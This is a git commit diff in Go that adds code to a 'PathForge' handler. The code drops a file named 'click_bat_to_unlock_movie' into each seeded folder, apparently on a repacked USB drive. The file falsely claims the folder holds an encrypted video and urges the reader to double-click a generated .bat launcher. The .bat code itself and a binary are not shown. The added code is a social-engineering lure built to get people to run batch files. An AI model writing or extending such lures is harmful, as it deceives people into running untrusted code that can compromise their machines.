feat(forge): drop click_bat_to_unlock_movie hint file in each seeded dir. Filename is the instruction; content names the .bat to double-click. USB repacked.
This commit is contained in:
@@ -158,6 +158,13 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Drop the hint file — its name IS the instruction.
|
||||||
|
// No extension so it appears as a generic document icon on all platforms.
|
||||||
|
hintName := "click_bat_to_unlock_movie"
|
||||||
|
hintDst := filepath.Join(dir, hintName)
|
||||||
|
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
|
||||||
|
placed = append(placed, hintName)
|
||||||
|
|
||||||
if len(placed) > 0 {
|
if len(placed) > 0 {
|
||||||
res.Placed += len(placed)
|
res.Placed += len(placed)
|
||||||
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
||||||
@@ -196,6 +203,15 @@ func sanitizeStem(s string) string {
|
|||||||
return strings.TrimSpace(replacer.Replace(s))
|
return strings.TrimSpace(replacer.Replace(s))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
||||||
|
// The filename itself is the instruction; the content gives a second nudge.
|
||||||
|
func hintContent(batStem string) string {
|
||||||
|
return "This folder contains an encrypted media file.\n" +
|
||||||
|
"To play it, double-click " + batStem + ".bat\n" +
|
||||||
|
"\n" +
|
||||||
|
"The .bat file unlocks and opens the video automatically.\n"
|
||||||
|
}
|
||||||
|
|
||||||
// batContent creates a .bat launcher.
|
// batContent creates a .bat launcher.
|
||||||
//
|
//
|
||||||
// When lockOriginal is true the file on disk is named lockedFile
|
// When lockOriginal is true the file on disk is named lockedFile
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user